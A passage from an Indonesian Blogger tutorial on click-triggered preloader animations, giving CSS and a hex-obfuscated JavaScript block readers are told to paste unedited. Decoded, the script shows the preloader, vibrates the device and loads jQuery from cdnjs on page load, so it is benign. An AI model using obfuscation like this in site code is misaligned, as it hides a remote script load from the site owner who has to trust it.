Untuk memfungsikan efek preloader logo segitiga tersebut silahkan gunakan fungsi onclick='rahlgclk()' pada setiap tombol yang di inginkan untuk menampilkan preloader secara manual, atau seperti contoh kode berikut ini

<div class='tombol' onclick='rahlgclk()'>
<!-- svg -->
</div>

Info: Tambahkan sendiri kode onclick='rahlgclk()' pada setiap tombol yang anda inginkan semisal svg dan lain sebaginya

5. Preloader Hashtag

Sedangkan tampilan animasi preloader tersebut adalah tampilan Hashtag yang muncul saat di klik dan bukan saat halaman artikel di refresh, yang di kemas dalam tampilan yang berbeda disertai animasi animasi yang menakjubkan saat animasi preloader tersebut aktif saat merefresh halaman blog

Menggunakan CSS

Dalam membuat tampilan preloader logo Hashtag yang muncul saat diklik pada website ataupun pada blogger tersebut di buat menggunakan kode CSS saja tanpa di enskripsi menggunakan javascript, sehingga untuk mengedit tampilan preloader semisal mengubah warna bisa kamu lakukan secara mudah

Contoh Tampilan

Jika kamu penasaran dengan contoh tampilan efek preloader logo Hashtag yang muncul saat di klik tersebut, silahkan periksa menggunakan tombol di bawah ini

Periksa

Info: bagaimana sobat dengan contoh tampilan nya keren sekali yak 😬

Cara pembuatan

Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek preloader logo Hashtag di sertai Animasi di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini

Kode CSS

Langkah pertama seperti biasanya silahkan salin kode CSS di bawah ini kemudian letakkan di atas kode ]]></b:skin>

/* Preloader logo Hashtag by Bloggermuda.com */
.rahLdclk{direction:ltr;position:fixed;top:0;right:0;bottom:0;left:0;display:none;background:#fefefe;align-items:center;justify-content:center;z-index:9999;visibility:hidden;opacity:0;transition:all .8s ease}.rahLdclk:before{content:'Made by Bloggermuda.com';position:absolute;right:6px;top:9px;font-size:12px;font-weight:400;} 
#aChp{display:none}
.rahLdclk.a{display:flex} .rahLdclk.a{opacity:1;visibility:visible}.rahLdclk.vsbl{opacity:1;visibility:visible} .rahLdIn {position:relative;transform:rotate(165deg)} .rahLdIn:before, .rahLdIn:after{content:'';position:absolute;display:block;width:.5em;height:.5em;border-radius:.25em;transform:translate(-50%,-50%)} .rahLdIn:before{animation:rahPdbe 2s infinite} .rahLdIn:after{animation:rahPdAf 2s infinite} @keyframes rahPdbe{0%{width:.5em;box-shadow:1em -.5em rgba(225,20,98,.75),-1em .5em rgba(111,202,220,.75)}35%{width:2.5em;box-shadow:0 -.5em rgba(225,20,98,.75),0 .5em rgba(111,202,220,.75)}70%{width:.5em;box-shadow:-1em -.5em rgba(225,20,98,.75),1em .5em rgba(111,202,220,.75)}100%{box-shadow:1em -.5em rgba(225,20,98,.75),-1em .5em rgba(111,202,220,.75)}} @keyframes rahPdAf{0%{height:.5em;box-shadow:.5em 1em rgba(61,184,143,.75),-.5em -1em rgba(233,169,32,.75)}35%{height:2.5em;box-shadow:.5em 0 rgba(61,184,143,.75),-.5em 0 rgba(233,169,32,.75)}70%{height:.5em;box-shadow:.5em -1em rgba(61,184,143,.75),-.5em 1em rgba(233,169,32,.75)}100%{box-shadow:.5em 1em rgba(61,184,143,.75),-.5em -1em rgba(233,169,32,.75)}} .drK .rahLdclk{background:#1e1e1e}

Info: Atau sobat bisa menggunakan kode <style> untuk meletakkan kode CSS di atas

Kode HTML/javascript

Langkah selanjutnya kamu bisa menyalin lagi kode html di bawah ini kemudian kamu bisa meletakkan nya di bawah kode </body>

<div class='rahLdclk' id='rahLdclk'>
<div class='rahLdIn'/>
</div>
<script>/*<![CDATA[*/ 
var _0x48b7=["\x23\x72\x61\x68\x4C\x64\x63\x6C\x6B","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x61","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x63\x6C\x69\x63\x6B","\x72\x65\x6D\x6F\x76\x65","\x76\x69\x62\x72\x61\x74\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x6A\x73\x2E\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x6C\x69\x62\x73\x2F\x6A\x71\x75\x65\x72\x79\x2F\x33\x2E\x35\x2E\x31\x2F\x6A\x71\x75\x65\x72\x79\x2E\x6D\x69\x6E\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x6C\x6F\x61\x64","\x61\x74\x74\x61\x63\x68\x45\x76\x65\x6E\x74","\x6F\x6E\x6C\x6F\x61\x64"];function rahldclk(){var _0x7ae7x2=document[_0x48b7[1]](_0x48b7[0]);_0x7ae7x2[_0x48b7[4]][_0x48b7[3]](_0x48b7[2]);document[_0x48b7[8]](_0x48b7[5],function(){setTimeout(function(){_0x7ae7x2[_0x48b7[4]][_0x48b7[6]](_0x48b7[2])},2000),navigator[_0x48b7[7]]([100,75,100,75,500])})}function rahscptIm(){var _0x7ae7x4=document[_0x48b7[10]](_0x48b7[9]);_0x7ae7x4[_0x48b7[11]]= _0x48b7[12],document[_0x48b7[14]][_0x48b7[13]](_0x7ae7x4)}window[_0x48b7[8]]?window[_0x48b7[8]](_0x48b7[15],rahscptIm,!1):window[_0x48b7[16]]?window[_0x48b7[16]](_0x48b7[17],rahscptIm):window[_0x48b7[17]]= rahscptIm
/*]]>*/</script>

Info: Kode HTML dan Javascript di atas jangan di edit entar tampilan preloader nya tidak berfungsi 🤐

Cara penggunaan

Untuk memfungsikan efek preloader logo Hashtag tersebut silahkan gunakan fungsi onclick='rahldclk()' pada setiap tombol yang di inginkan untuk menampilkan preloader secara manual, atau seperti contoh kode berikut ini

<div class=''tombol' onclick='rahldclk()'>
<!-- svg -->
</div>

Info: Tambahkan sendiri kode onclick='rahldclk()' pada setiap tombol yang anda inginkan semisal svg dan lain sebaginya

Blogger Muda

Kumpulan Preloader saat klik di blogger

Preloader

Kumpulan Preloader

1. Smiley preloader

Contoh Tampilan

Cara pembuatan

Kode Javascript

Kode HTML/javascript

Cara penggunaan

2. Skateboard preloader

Contoh Tampilan

Cara pembuatan

Kode Javascript

Kode HTML/javascript

Cara penggunaan

3. Tiktok preloader

Contoh Tampilan

Cara pembuatan

Kode Javascript

Cara penggunaan

4. Preloader Logo segitiga

Contoh Tampilan

Cara pembuatan

Kode CSS

Kode HTML/javascript

Cara penggunaan

5. Preloader Hashtag

Menggunakan CSS

Contoh Tampilan

Cara pembuatan

Kode CSS

Kode HTML/javascript

Cara penggunaan

Template DragaManga v2.5 Premium

Template ZeistManga v5.5 Premium

Cara tarik uang di gumroad menggunakan bank lokal

Bot telegram penambah followers Instagram

Kumpulan Tag Ol Custom di blogger

Script Anti copy paste artikel di blogger